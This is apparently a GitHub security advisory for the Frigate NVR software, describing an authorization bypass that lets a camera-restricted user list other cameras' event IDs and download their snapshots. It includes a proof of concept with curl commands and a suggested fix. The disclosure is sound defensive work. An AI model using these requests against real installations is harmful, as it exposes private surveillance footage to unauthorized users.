Skip to content

Cross-camera snapshot disclosure via unrestricted timeline IDs and missing authorization in /api/events/{event_id}/snapshot-clean.webp

Moderate
blakeblackshear published GHSA-m2mg-pj9p-2r7g Mar 22, 2026

Package

blakeblackshear/frigate

Affected versions

>= 0.17.0, < 0.17.1

Patched versions

>= 0.17.1

Description

Summary

A low-privilege authenticated user restricted to one camera can access snapshots from other cameras.

This is possible through a chain of two authorization problems:

  1. /api/timeline returns timeline entries for cameras outside the caller's allowed camera set.
  2. /api/events/{event_id}/snapshot-clean.webp declares Depends(require_camera_access) but never actually validates event.camera after looking up the event.

Together, this allows a restricted user to enumerate event IDs from unauthorized cameras and then fetch clean snapshots for those events.

Affected code

  • frigate/api/app.py
  • frigate/api/media.py
  • frigate/api/auth.py

Relevant logic:

  • /api/timeline is allow_any_authenticated() and does not filter by allowed_cameras
  • require_camera_access() returns immediately when camera_name is None
  • /api/events/{event_id}/snapshot-clean.webp uses Depends(require_camera_access) on a route without a camera_name parameter
  • event_snapshot_clean() loads the event and reads the snapshot file without calling require_camera_access(event.camera, request=request)

Root cause

The code assumes that adding Depends(require_camera_access) to any route is sufficient.

That assumption is false for routes that do not have a camera_name path parameter. In those cases, require_camera_access() returns early and performs no authorization check.

Separately, /api/timeline also fails to intersect results with the authenticated user's allowed camera set.

Proof of concept

Assume a user is authenticated but only authorized for camera front.

Step 1: enumerate unauthorized event IDs

Request timeline entries for another camera:

GET /api/timeline?camera=garage&limit=1 HTTP/1.1
Host: <frigate-host>
Authorization: Bearer <viewer-token>

Example:

curl -sk \
  -H "Authorization: Bearer $VIEWER_JWT" \
  "https://<frigate-host>:8971/api/timeline?camera=garage&limit=1"

Observe that the response contains entries for garage, including a source_id value corresponding to an event ID.

Step 2: retrieve the unauthorized snapshot

Use the leaked source_id as event_id:

GET /api/events/<event_id>/snapshot-clean.webp HTTP/1.1
Host: <frigate-host>
Authorization: Bearer <viewer-token>

Example:

curl -sk \
  -H "Authorization: Bearer $VIEWER_JWT" \
  "https://<frigate-host>:8971/api/events/<event_id>/snapshot-clean.webp" \
  -o unauthorized.webp

The snapshot for the unauthorized camera is returned.

Impact

A restricted authenticated user can:

  • enumerate activity on cameras they should not access
  • recover unauthorized event IDs
  • retrieve clean snapshots from those cameras

This is a cross-camera confidentiality breach and a clear authorization bypass.

Why this is new

This is not the previously reported export-based arbitrary file read issue. This is a separate access control flaw affecting timeline metadata and event media authorization.

Suggested fix

  1. In event_snapshot_clean(), explicitly enforce:
await require_camera_access(event.camera, request=request)

immediately after loading the event.

  1. Apply per-camera filtering to /api/timeline and /api/timeline/hourly using the authenticated user's allowed_cameras.

  2. Audit all routes that use Depends(require_camera_access) without a camera_name route parameter, because the same pattern may affect other media endpoints.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-33470

Weaknesses

No CWEs

Credits